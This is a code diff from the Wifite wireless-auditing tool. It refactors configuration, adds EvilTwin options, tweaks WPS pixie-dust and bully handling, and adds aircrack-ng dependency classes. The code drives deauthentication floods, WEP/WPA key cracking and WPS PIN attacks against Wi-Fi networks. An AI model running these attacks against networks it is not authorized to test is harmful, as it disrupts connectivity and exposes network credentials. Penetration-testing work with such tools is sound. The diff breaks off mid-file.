             Color.p("\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...")
             Aireplay.deauth(target.bssid, essid=target.essid)
+
+            attacking_mac = Ifconfig.get_mac(Configuration.interface)
             for client in target.clients:
+                if attacking_mac.lower() == client.station.lower():
+                    continue  # Don't deauth ourselves.
+
                 Color.clear_entire_line()
                 Color.p("\r{+} {O}Deauthenticating client {C}%s{W}..." % client.station)
+
                 Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid)
                 deauth_count += 1
+
             Color.clear_entire_line()
             Color.pl("\r{+} Sent {C}%d {O}deauths{W}" % deauth_count)
+
             # Re-insert current attack to top of list of attacks remaining
             attacks_remaining.insert(0, current_attack)
             return False # Don't stop

wifite/attack/wps.py

@@ -29,19 +29,18 @@ class AttackWPS(Attack):
             bully = Bully(self.target)
             bully.run()
             bully.stop()
-            if bully.crack_result is not None:
             self.crack_result = bully.crack_result
-                self.success = True
+            self.success = self.crack_result is not None
-                return True
+            return self.success
         else:
             reaver = Reaver(self.target)
             if reaver.is_pixiedust_supported():
                 # Reaver: Pixie-dust
                 reaver = Reaver(self.target)
-                if reaver.run_pixiedust_attack():
+                reaver.run()
                 self.crack_result = reaver.crack_result
-                    self.success = True
+                self.success = self.crack_result is not None
-                    return True
+                return self.success
             else:
                 Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}")
 

wifite/config.py

@@ -1,76 +1,87 @@
 #!/usr/bin/python2.7
 # -*- coding: utf-8 -*-
 
+import os
+
 from .util.color import Color
 from .tools.macchanger import Macchanger
 
-import os
-
 class Configuration(object):
     ''' Stores configuration variables and functions for Wifite. '''
-    verbose = 0
+    version = '2.1.6'
 
     initialized = False # Flag indicating config has been initialized
     temp_dir = None     # Temporary directory
-    version = '2.1.0'
+    interface = None
+    verbose = 0
 
-    @staticmethod
+    @classmethod
-    def initialize(load_interface=True):
+    def initialize(cls, load_interface=True):
         '''
             Sets up default initial configuration values.
             Also sets config values based on command-line arguments.
         '''
+        # TODO: categorize configuration into separate classes (under config/*.py)
+        # E.g. Configuration.wps.enabled, Configuration.wps.timeout, etc
 
         # Only initialize this class once
-        if Configuration.initialized:
+        if cls.initialized:
             return
-        Configuration.initialized = True
+        cls.initialized = True
 
-        Configuration.verbose = 0 # Verbosity level.
+        cls.verbose = 0 # Verbosity of output. Higher number means more debug info about running processes.
-        Configuration.print_stack_traces = True
+        cls.print_stack_traces = True
 
-        Configuration.kill_conflicting_processes = False
+        cls.kill_conflicting_processes = False
 
-        Configuration.scan_time = 0 # Time to wait before attacking all targets
+        cls.scan_time = 0 # Time to wait before attacking all targets
-        Configuration.all_targets = False # Run attacks against all targets automatically
+        cls.all_targets = False # Run attacks against all targets automatically
 
-        Configuration.tx_power = 0 # Wifi transmit power (0 is default)
+        cls.tx_power = 0 # Wifi transmit power (0 is default)
-        Configuration.interface = None
+        cls.interface = None
-        Configuration.target_channel = None # User-defined channel to scan
+        cls.target_channel = None # User-defined channel to scan
-        Configuration.target_essid = None # User-defined AP name
+        cls.target_essid = None # User-defined AP name
-        Configuration.target_bssid = None # User-defined AP BSSID
+        cls.target_bssid = None # User-defined AP BSSID
-        Configuration.ignore_essid = None # ESSIDs to ignore
+        cls.ignore_essid = None # ESSIDs to ignore
-        Configuration.five_ghz = False # Scan 5Ghz channels
+        cls.clients_only = False # Only show targets that have associated clients
-        Configuration.show_bssids = False # Show BSSIDs in targets list
+        cls.five_ghz = False # Scan 5Ghz channels
-        Configuration.random_mac = False # Should generate a random Mac address at startup.
+        cls.show_bssids = False # Show BSSIDs in targets list
-        Configuration.no_deauth = False # Deauth hidden networks & WPA handshake targets
+        cls.random_mac = False # Should generate a random Mac address at startup.
-        Configuration.num_deauths = 1 # Number of deauth packets to send to each target.
+        cls.no_deauth = False # Deauth hidden networks & WPA handshake targets
+        cls.num_deauths = 1 # Number of deauth packets to send to each target.
 
-        Configuration.encryption_filter = ['WEP', 'WPA', 'WPS']
+        cls.encryption_filter = ['WEP', 'WPA', 'WPS']
+
+        # EvilTwin variables
+        cls.use_eviltwin = False
+        cls.eviltwin_port = 80
+        cls.eviltwin_deauth_iface = None
+        cls.eviltwin_fakeap_iface = None
 
         # WEP variables
-        Configuration.wep_filter = False # Only attack WEP networks
+        cls.wep_filter = False # Only attack WEP networks
-        Configuration.wep_pps = 600 # Packets per second
+        cls.wep_pps = 600 # Packets per second
-        Configuration.wep_timeout = 600 # Seconds to wait before failing
+        cls.wep_timeout = 600 # Seconds to wait before failing
-        Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking
+        cls.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking
-        Configuration.require_fakeauth = False
+        cls.require_fakeauth = False
-        Configuration.wep_restart_stale_ivs = 11 # Seconds to wait before restarting
+        cls.wep_restart_stale_ivs = 11 # Seconds to wait before restarting
                                                  # Aireplay if IVs don't increaes.
                                                  # "0" means never restart.
-        Configuration.wep_restart_aircrack = 30  # Seconds to give aircrack to crack
+        cls.wep_restart_aircrack = 30  # Seconds to give aircrack to crack
                                                  # before restarting the process.
-        Configuration.wep_crack_at_ivs = 10000   # Number of IVS to start cracking
+        cls.wep_crack_at_ivs = 10000   # Number of IVS to start cracking
+        cls.wep_keep_ivs = False       # Retain .ivs files across multiple attacks.
 
         # WPA variables
-        Configuration.wpa_filter = False # Only attack WPA networks
+        cls.wpa_filter = False # Only attack WPA networks
-        Configuration.wpa_deauth_timeout = 15 # Wait time between deauths
+        cls.wpa_deauth_timeout = 15 # Wait time between deauths
-        Configuration.wpa_attack_timeout = 500 # Wait time before failing
+        cls.wpa_attack_timeout = 500 # Wait time before failing
-        Configuration.wpa_handshake_dir = "hs" # Dir to store handshakes
+        cls.wpa_handshake_dir = "hs" # Dir to store handshakes
-        Configuration.wpa_strip_handshake = False # Strip non-handshake packets
+        cls.wpa_strip_handshake = False # Strip non-handshake packets
-        Configuration.ignore_old_handshakes = False # Always fetch a new handshake
+        cls.ignore_old_handshakes = False # Always fetch a new handshake
 
         # Default dictionary for cracking
-        Configuration.wordlist = None
+        cls.wordlist = None
         wordlists = [
             '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
             '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
@@ -78,218 +89,224 @@ class Configuration(object):
         ]
         for wlist in wordlists:
             if os.path.exists(wlist):
-                Configuration.wordlist = wlist
+                cls.wordlist = wlist
                 break
 
         # WPS variables
-        Configuration.wps_filter  = False  # Only attack WPS networks
+        cls.wps_filter  = False  # Only attack WPS networks
-        Configuration.no_wps      = False  # Do not use WPS attacks (Pixie-Dust & PIN attacks)
+        cls.no_wps      = False  # Do not use WPS attacks (Pixie-Dust & PIN attacks)
-        Configuration.wps_only    = False  # ONLY use WPS attacks on non-WEP networks
+        cls.wps_only    = False  # ONLY use WPS attacks on non-WEP networks
-        Configuration.use_bully   = False  # Use bully instead of reaver
+        cls.use_bully   = False  # Use bully instead of reaver
-        Configuration.wps_pixie_timeout = 300      # Seconds to wait for PIN before WPS Pixie attack fails
+        cls.wps_pixie_timeout = 300      # Seconds to wait for PIN before WPS Pixie attack fails
-        Configuration.wps_pixie_step_timeout = 30  # Seconds to wait for a step to change before pixie fails
+        cls.wps_fail_threshold = 100     # Max number of failures
-        Configuration.wps_fail_threshold = 30  # Max number of failures
+        cls.wps_timeout_threshold = 100  # Max number of timeouts
-        Configuration.wps_timeout_threshold = 30  # Max number of timeouts
-        Configuration.wps_skip_rate_limit = True # Skip rate-limited WPS APs
 
         # Commands
-        Configuration.show_cracked = False
+        cls.show_cracked = False
-        Configuration.check_handshake = None
+        cls.check_handshake = None
-        Configuration.crack_handshake = False
+        cls.crack_handshake = False
 
         # Overwrite config values with arguments (if defined)
-        Configuration.load_from_arguments()
+        cls.load_from_arguments()
 
         if load_interface:
-            Configuration.get_interface()
+            cls.get_monitor_mode_interface()
 
 
-    @staticmethod
+    @classmethod
-    def get_interface():
+    def get_monitor_mode_interface(cls):
-        if Configuration.interface is None:
+        if cls.interface is None:
             # Interface wasn't defined, select it!
             from .tools.airmon import Airmon
-            Configuration.interface = Airmon.ask()
+            cls.interface = Airmon.ask()
-            if Configuration.random_mac:
+            if cls.random_mac:
                 Macchanger.random()
 
-
     @staticmethod
-    def load_from_arguments():
+    def get_wireless_interface():
+        pass
+
+    @classmethod
+    def load_from_arguments(cls):
         ''' Sets configuration values based on Argument.args object '''
         from .args import Arguments
 
-        args = Arguments(Configuration).args
+        args = Arguments(cls).args
         if args.random_mac:
-            Configuration.random_mac = True
+            cls.random_mac = True
             Color.pl('{+} {C}option:{W} using {G}random mac address{W} when scanning & attacking')
         if args.channel:
-            Configuration.target_channel = args.channel
+            cls.target_channel = args.channel
             Color.pl('{+} {C}option:{W} scanning for targets on channel {G}%s{W}' % args.channel)
         if args.interface:
-            Configuration.interface = args.interface
+            cls.interface = args.interface
             Color.pl('{+} {C}option:{W} using wireless interface {G}%s{W}' % args.interface)
         if args.target_bssid:
-            Configuration.target_bssid = args.target_bssid
+            cls.target_bssid = args.target_bssid
             Color.pl('{+} {C}option:{W} targeting BSSID {G}%s{W}' % args.target_bssid)
         if args.five_ghz == True:
-            Configuration.five_ghz = True
+            cls.five_ghz = True
             Color.pl('{+} {C}option:{W} including {G}5Ghz networks{W} in scans')
         if args.show_bssids == True:
-            Configuration.show_bssids = True
+            cls.show_bssids = True
             Color.pl('{+} {C}option:{W} showing {G}bssids{W} of targets during scan')
         if args.no_deauth == True:
-            Configuration.no_deauth = True
+            cls.no_deauth = True
             Color.pl('{+} {C}option:{W} will {R}not{W} {O}deauth{W} clients during scans or captures')
         if args.num_deauths and args.num_deauths > 0:
-            Configuration.num_deauths = args.num_deauths
+            cls.num_deauths = args.num_deauths
-            Color.pl('{+} {C}option:{W} will send {G}%d{W} deauth packets when deauthing' % Configuration.num_deauths)
+            Color.pl('{+} {C}option:{W} will send {G}%d{W} deauth packets when deauthing' % cls.num_deauths)
         if args.target_essid:
-            Configuration.target_essid = args.target_essid
+            cls.target_essid = args.target_essid
             Color.pl('{+} {C}option:{W} targeting ESSID {G}%s{W}' % args.target_essid)
         if args.ignore_essid is not None:
-            Configuration.ignore_essid = args.ignore_essid
+            cls.ignore_essid = args.ignore_essid
             Color.pl('{+} {C}option:{W} {O}ignoring ESSIDs that include {R}%s{W}' % args.ignore_essid)
+        if args.clients_only == True:
+            cls.clients_only = True
+            Color.pl('{+} {C}option:{W} {O}ignoring targets that do not have associated clients')
         if args.scan_time:
-            Configuration.scan_time = args.scan_time
+            cls.scan_time = args.scan_time
             Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets after {G}%d{W}s' % args.scan_time)
         if args.verbose:
-            Configuration.verbose = args.verbose
+            cls.verbose = args.verbose
             Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose)
         if args.kill_conflicting_processes:
-            Configuration.kill_conflicting_processes = True
+            cls.kill_conflicting_processes = True
             Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}')
 
+        # EvilTwin
+        if args.use_eviltwin:
+            cls.use_eviltwin = True
+            Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets')
+
         # WEP
         if args.wep_filter:
-            Configuration.wep_filter = args.wep_filter
+            cls.wep_filter = args.wep_filter
         if args.wep_pps:
-            Configuration.wep_pps = args.wep_pps
+            cls.wep_pps = args.wep_pps
             Color.pl('{+} {C}option:{W} using {G}%d{W} packets-per-second on WEP attacks' % args.wep_pps)
         if args.wep_timeout:
-            Configuration.wep_timeout = args.wep_timeout
+            cls.wep_timeout = args.wep_timeout
             Color.pl('{+} {C}option:{W} WEP attack timeout set to {G}%d seconds{W}' % args.wep_timeout)
         if args.require_fakeauth:
-            Configuration.require_fakeauth = True
+            cls.require_fakeauth = True
             Color.pl('{+} {C}option:{W} fake-authentication is {G}required{W} for WEP attacks')
         if args.wep_crack_at_ivs:
-            Configuration.wep_crack_at_ivs = args.wep_crack_at_ivs
+            cls.wep_crack_at_ivs = args.wep_crack_at_ivs
             Color.pl('{+} {C}option:{W} will start cracking WEP keys at {G}%d IVs{W}' % args.wep_crack_at_ivs)
         if args.wep_restart_stale_ivs:
-            Configuration.wep_restart_stale_ivs = args.wep_restart_stale_ivs
+            cls.wep_restart_stale_ivs = args.wep_restart_stale_ivs
             Color.pl('{+} {C}option:{W} will restart aireplay after {G}%d seconds{W} of no new IVs' % args.wep_restart_stale_ivs)
         if args.wep_restart_aircrack:
-            Configuration.wep_restart_aircrack = args.wep_restart_aircrack
+            cls.wep_restart_aircrack = args.wep_restart_aircrack
             Color.pl('{+} {C}option:{W} will restart aircrack every {G}%d seconds{W}' % args.wep_restart_aircrack)
+        if args.wep_keep_ivs:
+            cls.wep_keep_ivs = args.wep_keep_ivs
+            Color.pl('{+} {C}option:{W} keep .ivs files across multiple WEP attacks')
 
         # WPA
         if args.wpa_filter:
-            Configuration.wpa_filter = args.wpa_filter
+            cls.wpa_filter = args.wpa_filter
         if args.wordlist:
             if os.path.exists(args.wordlist):
-                Configuration.wordlist = args.wordlist
+                cls.wordlist = args.wordlist
                 Color.pl('{+} {C}option:{W} using wordlist {G}%s{W} to crack WPA handshakes' % args.wordlist)
             else:
-                Configuration.wordlist = None
+                cls.wordlist = None
                 Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, wifite will NOT attempt to crack handshakes' % args.wordlist)
         if args.wpa_deauth_timeout:
-            Configuration.wpa_deauth_timeout = args.wpa_deauth_timeout
+            cls.wpa_deauth_timeout = args.wpa_deauth_timeout
             Color.pl('{+} {C}option:{W} will deauth WPA clients every {G}%d seconds{W}' % args.wpa_deauth_timeout)
         if args.wpa_attack_timeout:
-            Configuration.wpa_attack_timeout = args.wpa_attack_timeout
+            cls.wpa_attack_timeout = args.wpa_attack_timeout
             Color.pl('{+} {C}option:{W} will stop WPA handshake capture after {G}%d seconds{W}' % args.wpa_attack_timeout)
         if args.ignore_old_handshakes:
-            Configuration.ignore_old_handshakes = True
+            cls.ignore_old_handshakes = True
             Color.pl("{+} {C}option:{W} will {O}ignore{W} existing handshakes (force capture)")
         if args.wpa_handshake_dir:
-            Configuration.wpa_handshake_dir = args.wpa_handshake_dir
+            cls.wpa_handshake_dir = args.wpa_handshake_dir
             Color.pl('{+} {C}option:{W} will store handshakes to {G}%s{W}' % args.wpa_handshake_dir)
         if args.wpa_strip_handshake:
-            Configuration.wpa_strip_handshake = True
+            cls.wpa_strip_handshake = True
             Color.pl("{+} {C}option:{W} will {G}strip{W} non-handshake packets")
 
         # WPS
         if args.wps_filter:
-            Configuration.wps_filter  = args.wps_filter
+            cls.wps_filter = args.wps_filter
         if args.wps_only:
-            Configuration.wps_only = True
+            cls.wps_only = True
             Color.pl('{+} {C}option:{W} will *only* attack non-WEP networks with {G}WPS attacks{W} (no handshake capture)')
         if args.no_wps:
-            Configuration.no_wps   = args.no_wps
+            cls.no_wps = args.no_wps
             Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} (Pixie-Dust/PIN) on targets')
         if args.use_bully:
-            Configuration.use_bully   = args.use_bully
+            cls.use_bully = args.use_bully
             Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks')
         if args.wps_pixie_timeout:
-            Configuration.wps_pixie_timeout = args.wps_pixie_timeout
+            cls.wps_pixie_timeout = args.wps_pixie_timeout
-            Color.pl('{+} {C}option:{W} WPS pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_timeout)
+            Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after {O}%d seconds{W}' % args.wps_pixie_timeout)
-        if args.wps_pixie_step_timeout:
-            Configuration.wps_pixie_step_timeout = args.wps_pixie_step_timeout
-            Color.pl('{+} {C}option:{W} Any step in the pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_step_timeout)
         if args.wps_fail_threshold:
-            Configuration.wps_fail_threshold = args.wps_fail_threshold
+            cls.wps_fail_threshold = args.wps_fail_threshold
-            Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d failures{W}' % args.wps_fail_threshold)
+            Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d failures{W}' % args.wps_fail_threshold)
         if args.wps_timeout_threshold:
-            Configuration.wps_timeout_threshold = args.wps_timeout_threshold
+            cls.wps_timeout_threshold = args.wps_timeout_threshold
-            Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d timeouts{W}' % args.wps_timeout_threshold)
+            Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d timeouts{W}' % args.wps_timeout_threshold)
-        if args.wps_skip_rate_limit == False:
-            Configuration.wps_skip_rate_limit = False
-            Color.pl('{+} {C}option:{W} will {G}continue{W} WPS attacks when rate-limited')
 
         # Adjust encryption filter
-        Configuration.encryption_filter = []
+        cls.encryption_filter = []
-        if Configuration.wep_filter: Configuration.encryption_filter.append('WEP')
+        if cls.wep_filter: cls.encryption_filter.append('WEP')
-        if Configuration.wpa_filter: Configuration.encryption_filter.append('WPA')
+        if cls.wpa_filter: cls.encryption_filter.append('WPA')
-        if Configuration.wps_filter: Configuration.encryption_filter.append('WPS')
+        if cls.wps_filter: cls.encryption_filter.append('WPS')
 
-        if len(Configuration.encryption_filter) == 3:
+        if len(cls.encryption_filter) == 3:
             Color.pl('{+} {C}option:{W} targeting {G}all encrypted networks{W}')
-        elif len(Configuration.encryption_filter) == 0:
+        elif len(cls.encryption_filter) == 0:
             # Default to scan all types
-            Configuration.encryption_filter = ['WEP', 'WPA', 'WPS']
+            cls.encryption_filter = ['WEP', 'WPA', 'WPS']
         else:
             Color.pl('{+} {C}option:{W} ' +
                      'targeting {G}%s-encrypted{W} networks'
-                        % '/'.join(Configuration.encryption_filter))
+                        % '/'.join(cls.encryption_filter))
 
         # Adjust WEP attack list
-        Configuration.wep_attacks = []
+        cls.wep_attacks = []
         import sys
         seen = set()
         for arg in sys.argv:
             if arg in seen: continue
             seen.add(arg)
-            if arg == '-arpreplay':  Configuration.wep_attacks.append('replay')
+            if arg == '-arpreplay':  cls.wep_attacks.append('replay')
-            if arg == '-fragment':   Configuration.wep_attacks.append('fragment')
+            if arg == '-fragment':   cls.wep_attacks.append('fragment')
-            if arg == '-chopchop':   Configuration.wep_attacks.append('chopchop')
+            if arg == '-chopchop':   cls.wep_attacks.append('chopchop')
-            if arg == '-caffelatte': Configuration.wep_attacks.append('caffelatte')
+            if arg == '-caffelatte': cls.wep_attacks.append('caffelatte')
-            if arg == '-p0841':      Configuration.wep_attacks.append('p0841')
+            if arg == '-p0841':      cls.wep_attacks.append('p0841')
-            if arg == '-hirte':      Configuration.wep_attacks.append('hirte')
+            if arg == '-hirte':      cls.wep_attacks.append('hirte')
 
-        if len(Configuration.wep_attacks) == 0:
+        if len(cls.wep_attacks) == 0:
             # Use all attacks
-            Configuration.wep_attacks = ['replay',
+            cls.wep_attacks = ['replay',
                                          'fragment',
                                          'chopchop',
                                          'caffelatte',
                                          'p0841',
                                          'hirte']
-        elif len(Configuration.wep_attacks) > 0:
+        elif len(cls.wep_attacks) > 0:
             Color.pl('{+} {C}option:{W} using {G}%s{W} WEP attacks'
-                % '{W}, {G}'.join(Configuration.wep_attacks))
+                % '{W}, {G}'.join(cls.wep_attacks))
 
         # Commands
-        if args.cracked: Configuration.show_cracked = True
+        if args.cracked: cls.show_cracked = True
-        if args.check_handshake: Configuration.check_handshake = args.check_handshake
+        if args.check_handshake: cls.check_handshake = args.check_handshake
-        if args.crack_handshake: Configuration.crack_handshake = True
+        if args.crack_handshake: cls.crack_handshake = True
 
 
-    @staticmethod
+    @classmethod
-    def temp(subfile=''):
+    def temp(cls, subfile=''):
         ''' Creates and/or returns the temporary directory '''
-        if Configuration.temp_dir is None:
+        if cls.temp_dir is None:
-            Configuration.temp_dir = Configuration.create_temp()
+            cls.temp_dir = cls.create_temp()
-        return Configuration.temp_dir + subfile
+        return cls.temp_dir + subfile
 
     @staticmethod
     def create_temp():
@@ -300,44 +317,50 @@ class Configuration(object):
             tmp += os.sep
         return tmp
 
-    @staticmethod
+    @classmethod
-    def delete_temp():
+    def delete_temp(cls):
         ''' Remove temp files and folder '''
-        if Configuration.temp_dir is None: return
+        if cls.temp_dir is None: return
-        if os.path.exists(Configuration.temp_dir):
+        if os.path.exists(cls.temp_dir):
-            for f in os.listdir(Configuration.temp_dir):
+            for f in os.listdir(cls.temp_dir):
-                os.remove(Configuration.temp_dir + f)
+                os.remove(cls.temp_dir + f)
-            os.rmdir(Configuration.temp_dir)
+            os.rmdir(cls.temp_dir)
 
 
-    @staticmethod
+    @classmethod
-    def exit_gracefully(code=0):
+    def exit_gracefully(cls, code=0):
         ''' Deletes temp and exist with the given code '''
-        Configuration.delete_temp()
+        cls.delete_temp()
         Macchanger.reset_if_changed()
         from .tools.airmon import Airmon
-        if hasattr(Configuration, "interface") and Configuration.interface is not None and Airmon.base_interface is not None:
+        if cls.interface is not None and Airmon.base_interface is not None:
-            Airmon.stop(Configuration.interface)
+            Color.pl('{!} Leaving interface {C}%s{W} in Monitor Mode.' % cls.interface)
-            Airmon.put_interface_up(Airmon.base_interface)
+            Color.pl('{!} You can disable Monitor Mode when finished ({C}airmon-ng stop %s{W})' % cls.interface)
+
+            # Stop monitor mode
+            #Airmon.stop(cls.interface)
+            # Bring original interface back up
+            #Airmon.put_interface_up(Airmon.base_interface)
 
         if Airmon.killed_network_manager:
-            Airmon.start_network_manager()
+            Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})')
+            #Airmon.start_network_manager()
 
         exit(code)
 
-    @staticmethod
+    @classmethod
-    def dump():
+    def dump(cls):
         ''' (Colorful) string representation of the configuration '''
         from .util.color import Color
 
         max_len = 20
-        for key in Configuration.__dict__.keys():
+        for key in cls.__dict__.keys():
             max_len = max(max_len, len(key))
 
-        result  = Color.s('{W}%s  Value{W}\n' % 'Configuration Key'.ljust(max_len))
+        result  = Color.s('{W}%s  Value{W}\n' % 'cls Key'.ljust(max_len))
         result += Color.s('{W}%s------------------{W}\n' % ('-' * max_len))
 
-        for (key,val) in sorted(Configuration.__dict__.items()):
+        for (key,val) in sorted(cls.__dict__.items()):
             if key.startswith('__') or type(val) == staticmethod or val is None:
                 continue
             result += Color.s("{G}%s {W} {C}%s{W}\n" % (key.ljust(max_len),val))

wifite/model/attack.py

@@ -4,11 +4,9 @@
 import time
 
 class Attack(object):
-    '''
+    '''Contains functionality common to all attacks.'''
-        Contains functionality common to all attacks
-    '''
 
-    target_wait = 20
+    target_wait = 60
 
     def __init__(self, target):
         self.target = target
@@ -17,17 +15,13 @@ class Attack(object):
         raise Exception("Unimplemented method: run")
 
     def wait_for_target(self, airodump):
-        '''
+        '''Waits for target to appear in airodump.'''
-            Waits for target to appear in airodump
-        '''
         start_time = time.time()
         targets = airodump.get_targets(apply_filter=False)
         while len(targets) == 0:
             # Wait for target to appear in airodump.
             if int(time.time() - start_time) > Attack.target_wait:
-                raise Exception(
+                raise Exception('Target did not appear after %d seconds, stopping' % Attack.target_wait)
-                    "Target did not appear after %d seconds, stopping"
-                    % Attack.target_wait)
             time.sleep(1)
             targets = airodump.get_targets()
             continue

wifite/model/interface.py

@@ -1,101 +0,0 @@
-#!/usr/bin/python2.7
-# -*- coding: utf-8 -*-
-
-from ..util.color import Color
-
-import re
-
-class Interface(object):
-    '''
-        Represents an 'interface' known by airmon-ng
-    '''
-
-    # Max length of fields.
-    # Used for printing a table of interfaces.
-    PHY_LEN = 6
-    NAME_LEN = 12
-    DRIVER_LEN = 20
-    CHIPSET_LEN = 30
-
-    def __init__(self, fields):
-        '''
-            Initializes & stores info about an interface.
-
-            Args:
-                Fields - list of fields
-                        0: PHY
-                        1: NAME
-                        2: DRIVER
-                        3: CHIPSET
-        '''
-        if len(fields) == 3:
-            phy = 'phyX'
-            match = re.search(' - \[(phy\d+)\]', fields[2])
-            if match:
-                phy = match.groups()[0]
-                fields[2] = fields[2][:fields[2].rfind(' - [')]
-            fields.insert(0, phy)
-        if len(fields) != 4:
-            raise Exception("Expected 4, got %d in %s" % (len(fields), fields))
-        self.phy = fields[0].strip()
-        self.name = fields[1].strip()
-        self.driver = fields[2].strip()
-        self.chipset = fields[3].strip()
-
-    def __str__(self):
-        ''' Colored string representation of interface '''
-        s = Color.s("{W}%s" % self.phy)
-        s += ' ' * max(Interface.PHY_LEN - len(self.phy), 0)
-
-        s += Color.s("{G}%s" % self.name)
-        s += ' ' * max(Interface.NAME_LEN - len(self.name), 0)
-
-        s += Color.s("{C}%s" % self.driver)
-        s += ' ' * max(Interface.DRIVER_LEN - len(self.driver), 0)
-
-        s += Color.s("{W}%s" % self.chipset)
-        s += ' ' * max(Interface.CHIPSET_LEN - len(self.chipset), 0)
-        return s
-
-    @staticmethod
-    def menu_header():
-        ''' Colored header row for interfaces '''
-        s = '    '
-        s += 'PHY'
-        s += ' ' * (Interface.PHY_LEN - len("PHY"))
-
-        s += 'Interface'
-        s += ' ' * (Interface.NAME_LEN - len("Interface"))
-        s += 'Driver'
-        s += ' ' * (Interface.DRIVER_LEN - len("Driver"))
-
-        s += 'Chipset'
-        s += ' ' * (Interface.CHIPSET_LEN - len("Chipset"))
-
-        s += '\n---'
-        s += '-' * (Interface.PHY_LEN + Interface.NAME_LEN + Interface.DRIVER_LEN + Interface.CHIPSET_LEN)
-        return s
-
-    @staticmethod
-    def get_mac(iface=None):
-        from ..config import Configuration
-        from ..util.process import Process
-
-        if iface is None:
-            Configuration.initialize()
-            iface = Configuration.interface
-        if iface is None:
-            raise Exception('Interface must be defined (-i)')
-
-        output = Process(['ifconfig', iface]).stdout()
-        mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
-        match = re.search(' (%s)' % mac_regex, output)
-        if not match:
-            match = re.search('unspec (%s)' % mac_regex, output)
-            if not match:
-                raise Exception('Could not find the mac address for %s' % iface)
-        return match.groups()[0].replace('-', ':')
-
-if __name__ == '__main__':
-    mac = Interface.get_mac()
-    print('wlan0mon mac address:', mac)

wifite/model/target.py

@@ -52,14 +52,18 @@ class Target(object):
 
         self.essid_known = True
         self.essid_len   = int(fields[12].strip())
-        self.essid       =     fields[13].strip()
+        self.essid       =     fields[13]
-        if self.essid == '\\x00' * self.essid_len or self.essid.strip() == '':
+        if self.essid == '\\x00' * self.essid_len or \
+                self.essid == 'x00' * self.essid_len or \
+                self.essid.strip() == '':
             # Don't display "\x00..." for hidden ESSIDs
             self.essid = None # '(%s)' % self.bssid
             self.essid_known = False
 
         self.wps = None
 
+        self.decloaked = False # If ESSID was hidden but we decloaked it.
+
         self.clients = []
 
         self.validate()
@@ -84,7 +88,7 @@ class Target(object):
             Specifically formatted for the "scanning" table view.
         '''
 
-        max_essid_len = 25
+        max_essid_len = 24
         essid = self.essid if self.essid_known else "(%s)" % self.bssid
         # Trim ESSID (router name) if needed
         if len(essid) > max_essid_len:
@@ -99,6 +103,10 @@ class Target(object):
             # Unknown ESSID
             essid = Color.s("{O}%s" % essid)
 
+        # Add a "*" if we decloaked the ESSID
+        decloaked_char = '*' if self.decloaked else ' '
+        essid += Color.s("{P}%s" % decloaked_char)
+
         if show_bssid:
             bssid = Color.s('{O}%s  ' % self.bssid)
         else:

wifite/tools/aircrack.py

@@ -1,16 +1,23 @@
 #!/usr/bin/python2.7
 # -*- coding: utf-8 -*-
 
+from .dependency import Dependency
 from ..util.process import Process
 from ..util.input import xrange
 from ..config import Configuration
 
 import os
 
-class Aircrack(object):
+class Aircrack(Dependency):
+    dependency_required = True
+    dependency_name = 'aircrack-ng'
+    dependency_url = 'https://www.aircrack-ng.org/install.html'
+
     def __init__(self, ivs_file=None):
 
-        self.cracked_file = Configuration.temp() + 'wepkey.txt'
+        self.cracked_file = os.path.abspath(
+                os.path.join(
+                    Configuration.temp(), 'wepkey.txt'))
 
         # Delete previous cracked files
         if os.path.exists(self.cracked_file):
@@ -20,8 +27,11 @@ class Aircrack(object):
             'aircrack-ng',
             '-a', '1',
             '-l', self.cracked_file,
-            ivs_file
         ]
+        if type(ivs_file) is str:
+            ivs_file = [ivs_file]
+
+        command.extend(ivs_file)
 
         self.pid = Process(command, devnull=True)
 

wifite/tools/aireplay.py

@@ -1,6 +1,7 @@
 #!/usr/bin/python2.7
 # -*- coding: utf-8 -*-
 
+from .dependency import Dependency
 from ..config import Configuration
 from ..util.process import Process
 from ..util.timer import Timer
@@ -54,7 +55,11 @@ class WEPAttackType(object):
         return self.name
 
 
-class Aireplay(Thread):
+class Aireplay(Thread, Dependency):
+    dependency_required = True
+    dependency_name = 'aireplay-ng'
+    dependency_url = 'https://www.aircrack-ng.org/install.html'
+
     def __init__(self, target, attack_type, client_mac=None, replay_file=None):
         '''
             Starts aireplay process.
@@ -150,7 +155,7 @@ class Aireplay(Thread):
                     matches = offset_re.match(line)
                     if matches:
                         self.xor_percent = matches.group(1)
-                        self.status = "Generating .xor (%s)..." % matches.group(1)
+                        self.status = "Generating .xor (%s)..." % self.xor_percent
 
                     # (DONE)   Saving keystream in replay_dec-0516-202246.xor
                     saving_re = re.compile(r"Saving keystream in (.*\.xor)")
@@ -207,7 +212,7 @@ class Aireplay(Thread):
                     saving_re = re.compile(r"Saving keystream in (.*\.xor)")
                     matches = saving_re.match(line)
                     if matches:
-                        self.status = 'saving keystream to %s' % saving_re.group(1)
+                        self.status = 'saving keystream to %s' % matches.group(1)
 
                     # XX:XX:XX  Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
 
@@ -222,7 +227,7 @@ class Aireplay(Thread):
                         if pps == "0":
                             self.status = "Waiting for packet..."
                         else:
-                            self.status = "Replaying packet @ %s/sec" % pps
